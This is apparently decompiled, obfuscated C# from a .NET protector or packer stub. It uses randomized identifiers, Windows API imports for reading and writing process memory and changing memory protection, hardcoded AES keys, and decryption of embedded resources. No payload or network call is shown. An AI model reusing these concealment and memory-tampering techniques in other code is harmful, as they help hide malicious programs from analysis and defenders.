[MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0033MC9Hr5ie([In] object obj0) { try { return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString(); } catch { return (object) ""; } } [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr Oka3cw68Y([In] string obj0); [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)] public static extern IntPtr ELesPQern([In] IntPtr obj0, [In] string obj1); [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] static extern int J90b7cUMU( [In] IntPtr obj0, [In] IntPtr obj1, [In, Out] byte[] _param2, [In] uint obj3, out IntPtr _param4); [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] static extern int T765Ziacf( [In] IntPtr obj0, [In] IntPtr obj1, [In, Out] byte[] _param2, [In] uint obj3, out IntPtr _param4); [DllImport("kernel32.dll", EntryPoint = "VirtualProtect")] static extern int ud76QUgni([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3); [DllImport("kernel32.dll", EntryPoint = "OpenProcess")] static extern IntPtr ow8hUSqXe([In] uint obj0, [In] int obj1, [In] uint obj2); [DllImport("kernel32.dll", EntryPoint = "CloseHandle")] static extern int FGNnF4jp1([In] IntPtr obj0); [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] static byte[] BS3UCPq1K([In] string obj0) { byte[] buffer; using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read)) { int offset = 0; int length = (int) fileStream.Length; buffer = new byte[length]; int num; for (; length > 0; length -= num) { num = fileStream.Read(buffer, offset, length); offset += num; } } return buffer; } [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] static byte[] qgG0ri5qg([In] byte[] obj0) { MemoryStream memoryStream = new MemoryStream(); Rijndael rijndael = Rijndael.Create(); rijndael.Key = new byte[32] { (byte) 236, (byte) 122, (byte) 38, (byte) 145, (byte) 151, (byte) 145, (byte) 102, (byte) 223, (byte) 161, (byte) 206, (byte) 72, (byte) 13, (byte) 175, (byte) 93, (byte) 127, (byte) 7, (byte) 4, (byte) 121, (byte) 79, (byte) 209, (byte) 32, (byte) 168, (byte) 146, (byte) 223, (byte) 162, (byte) 26, (byte) 251, (byte) 174, (byte) 167, (byte) 185, (byte) 46, (byte) 107 }; rijndael.IV = new byte[16] { (byte) 106, (byte) 119, (byte) 37, (byte) 174, (byte) 104, (byte) 204, (byte) 230, (byte) 110, (byte) 161, (byte) 68, (byte) 243, (byte) 144, (byte) 18, (byte) 169, (byte) 169, (byte) 221 }; CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); cryptoStream.Write(obj0, 0, obj0.Length); cryptoStream.Close(); return memoryStream.ToArray(); } [MethodImpl(MethodImplOptions.NoInlining)] byte[] tWS4A229j() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] byte[] IETQu1Zso() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] byte[] LAKPIjCVA() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] byte[] \u00334GCGerJT() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] byte[] b6hH30lEM() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] byte[] DAYglKU4m() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] sTKWc1JrC() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] tYwOcVrey() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] X9Jdfneb8() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] Abf2ry6QT() => (byte[]) null; [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static string NEOxx7T5j([In] string obj0, [In] string obj1) { byte[] bytes = Encoding.Unicode.GetBytes(obj0); byte[] numArray = new byte[32] { (byte) 82, (byte) 102, (byte) 104, (byte) 110, (byte) 32, (byte) 77, (byte) 24, (byte) 34, (byte) 118, (byte) 181, (byte) 51, (byte) 17, (byte) 18, (byte) 51, (byte) 12, (byte) 109, (byte) 10, (byte) 32, (byte) 77, (byte) 24, (byte) 34, (byte) 158, (byte) 161, (byte) 41, (byte) 97, (byte) 28, (byte) 118, (byte) 181, (byte) 5, (byte) 25, (byte) 1, (byte) 88 }; byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1)); MemoryStream memoryStream = new MemoryStream(); Rijndael rijndael = Rijndael.Create(); rijndael.Key = numArray; rijndael.IV = hash; CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.Close(); return Convert.ToBase64String(memoryStream.ToArray()); } [MethodImpl(MethodImplOptions.NoInlining)] public ebVKeUQJotY5IdGdNW() { } [MethodImpl(MethodImplOptions.NoInlining)] internal static Type e8a2ByiVr7q6HYBmUW([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object lAyeJnb7XiQE99SxHN([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object iWdFZhpijHWU2yoaGS([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; [MethodImpl(MethodImplOptions.NoInlining)] internal static void g8J8nTEhe8f8dgpB7e([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static void QNbcbn39JuV4QoRKNv([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0; [MethodImpl(MethodImplOptions.NoInlining)] internal static long \u0034UfYcUfwZnbKaXQkVa([In] object obj0) => ((Stream) obj0).Length; [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u00350kb2qW1mc3AY5vNLS([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object qWp2gMA5tEr4Wr2RAh([In] object obj0) => (object) ((Assembly) obj0).GetName(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object ubfxuH7mdbbHDhtpx0([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void g1LoTl2Jc4binL4u9I([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static object RrPxaKBaO4e2U7gBOv([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); [MethodImpl(MethodImplOptions.NoInlining)] internal static void d610naqpinTJwc3nrU([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static void tIBlVPRrjWVfd9ngDb([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object ZWs11AM6h0yxp10hlC([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void KFo9xjnJtIutWMS59s([In] object obj0) => ((Stream) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void TCk72huDGbI3wd7Dss([In] object obj0) => ((BinaryReader) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static int Urvs6TFhWkPPJxVw8i([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object uIRWaEXq0oqBcyhJOm() => (object) Encoding.Unicode; [MethodImpl(MethodImplOptions.NoInlining)] internal static object PotuIO4mGfaaVLfDHD([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static bool koZFOU0Qd1TWxlxIK4() => true; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool t7yP0iOxXn1dT5Mhpk() => false; [MethodImpl(MethodImplOptions.NoInlining)] internal static void cTgYw5i8ngOAZcwBuX([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0; [MethodImpl(MethodImplOptions.NoInlining)] internal static Type BXNWa8Ct5VGQVcTJjB([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object xZ7O9IpO5b2C1lKA4S([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0039slFhO6Zyjqu52QWgD([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; [MethodImpl(MethodImplOptions.NoInlining)] internal static void qtw6Y63n394PWtw1Qd([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static long UMa5aIgtbxKxnsdoDP([In] object obj0) => ((Stream) obj0).Length; [MethodImpl(MethodImplOptions.NoInlining)] internal static object sH0cuLwOgnud8KCQXi([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object H8HOdg9ZxEDr2eY5KJ([In] object obj0) => (object) ((Assembly) obj0).GetName(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0031xwk1O5lFoGQJY9VP3([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void V6r5cOLscD9LGMn5Wt([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static object KSbJegMdRD9MEXCI5U([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); [MethodImpl(MethodImplOptions.NoInlining)] internal static void ECL41OuLi0T8KD1Ax9([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static void bMuuf1sEiUCTRmuruU([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object l3AnmInlhQ3JBvmuC6([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void xm3sCgZLslZ69UwNk6([In] object obj0) => ((Stream) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void nBxmIDYt8Eeo843WGT([In] object obj0) => ((BinaryReader) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object u0IdUaK9o7Dpxr84aL([In] object obj0) => (object) ((Assembly) obj0).GetModules(); [MethodImpl(MethodImplOptions.NoInlining)] internal static IntPtr DuJHwUcIsQLOWZZPRt([In] object obj0) => Marshal.GetHINSTANCE((Module) obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object DSeHdiqqaYUJ82ElSX([In] object obj0) => (object) ((Assembly) obj0).Location; [MethodImpl(MethodImplOptions.NoInlining)] internal static int lMhZFRvecwWyaFYrWS([In] object obj0) => ((string) obj0).Length; [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u00351DIJQmesbhUfvgWNY([In] object obj0) => ((BinaryReader) obj0).ReadInt32(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void kGOIADEgPtl2ivfJXa([In] IntPtr obj0, [In] int obj1) => Marshal.WriteInt32(obj0, obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static long dfoOvTR9jJFyJTjZaA([In] object obj0) => ((Stream) obj0).Position; [MethodImpl(MethodImplOptions.NoInlining)] internal static int ADNsbrNwBBGFe0rAli() => IntPtr.Size; [MethodImpl(MethodImplOptions.NoInlining)] internal static int rx60T8kvEcMcO814fs([In] long obj0) => Convert.ToInt32(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object ZFrX6ZUCup1rTIgf3U() => (object) Encoding.UTF8; [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0034qoK5FxbotERCuaaJ7([In] object obj0, [In] object obj1) => (object) ((Encoding) obj0).GetString((byte[]) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static bool Xj1isH2kjkv70LY4U3([In] IntPtr obj0, [In] IntPtr obj1) => obj0 == obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0033FK47EGLqy9BbMPjXA([In] IntPtr obj0, [In] Type obj1) => (object) Marshal.GetDelegateForFunctionPointer(obj0, obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static IntPtr w7GMfihdFpoL5rs6Ut([In] object obj0) => ((ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h) obj0)(); [MethodImpl(MethodImplOptions.NoInlining)] internal static int V0Kb1AVog1g4idDljV([In] IntPtr obj0) => Marshal.ReadInt32(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static long EnsIQRI83GGSP1iwiX([In] IntPtr obj0) => Marshal.ReadInt64(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static IntPtr \u0038lPgnyTwrcT7G1FLuY([In] object obj0) => Marshal.GetFunctionPointerForDelegate((Delegate) obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object nCsJHndtrWihmbV9CH() => (object) Process.GetCurrentProcess(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object NoplgwSAMLPsqh6vfi([In] object obj0) => (object) ((Process) obj0).Modules; [MethodImpl(MethodImplOptions.NoInlining)] internal static object EWoqJfQ5D2h4sxWWmE([In] object obj0) => (object) ((ReadOnlyCollectionBase) obj0).GetEnumerator(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object cuBWthAc1ZsRfkEQuq([In] object obj0) => ((IEnumerator) obj0).Current; [MethodImpl(MethodImplOptions.NoInlining)] internal static object Nor5Kj8f9JNJxqyjpX([In] object obj0) => (object) ((ProcessModule) obj0).ModuleName; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool PmxnMNfU3VIuoCjecS([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static IntPtr dWSgRxogR2hxpkZcPr([In] object obj0) => ((ProcessModule) obj0).BaseAddress; [MethodImpl(MethodImplOptions.NoInlining)] internal static int i0kS7bFnqxtgJcdAAk([In] object obj0) => ((ProcessModule) obj0).ModuleMemorySize; [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0037h8dKB7JHZfd1qf2To([In] object obj0) => (object) ((Assembly) obj0).EntryPoint; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool qomGGPDA60c5KjlY9Z([In] object obj0) => ((IEnumerator) obj0).MoveNext(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0038LtoaePALeeU9V4Jfp([In] object obj0) => ((IDisposable) obj0).Dispose(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object MPaVZVblY2fRy6ulcF([In] object obj0) => (object) ((Delegate) obj0).Method; [MethodImpl(MethodImplOptions.NoInlining)] internal static object PUYT2GX5ZlowtoftTb([In] Type obj0, [In] object obj1) => (object) Delegate.CreateDelegate(obj0, (MethodInfo) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object A0tg0GHSKbNZWZDBKy([In] object obj0) => (object) ((MethodBase) obj0).GetParameters(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void CiA14IrD3NVsKgRZVG([In] IntPtr obj0, [In] IntPtr obj1) => Marshal.WriteIntPtr(obj0, obj1); internal static bool iJn4kY0oJpRAixFuwN() => true; internal static bool NrhvSeObFe31xAtxR9() => false; internal class CXcShx4Pv0nDRFrvAv : Attribute { [ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm[]))] [MethodImpl(MethodImplOptions.NoInlining)] public CXcShx4Pv0nDRFrvAv([In] object obj0) { } static CXcShx4Pv0nDRFrvAv() => ebVKeUQJotY5IdGdNW.FY0pFREJk(); internal class xEVtlxX8F6lnQqD8mm { [MethodImpl(MethodImplOptions.NoInlining)] public xEVtlxX8F6lnQqD8mm() { } static xEVtlxX8F6lnQqD8mm() => ebVKeUQJotY5IdGdNW.FY0pFREJk(); } } [UnmanagedFunctionPointer(CallingConvention.StdCall)] internal delegate uint SivK3olD9hSEufJ6Bm( [MarshalAs(UnmanagedType.U8)] ref ulong _param1, [In] IntPtr obj1, [In] IntPtr obj2, [MarshalAs(UnmanagedType.U4)] uint _param4, [In] ref IntPtr obj4, [In] ref uint obj5); [UnmanagedFunctionPointer(CallingConvention.StdCall)] private delegate IntPtr MttKDN6ssv7t5XCD4h(); [Flags] private enum oB4HvUR3dJ420vvNRy { } } }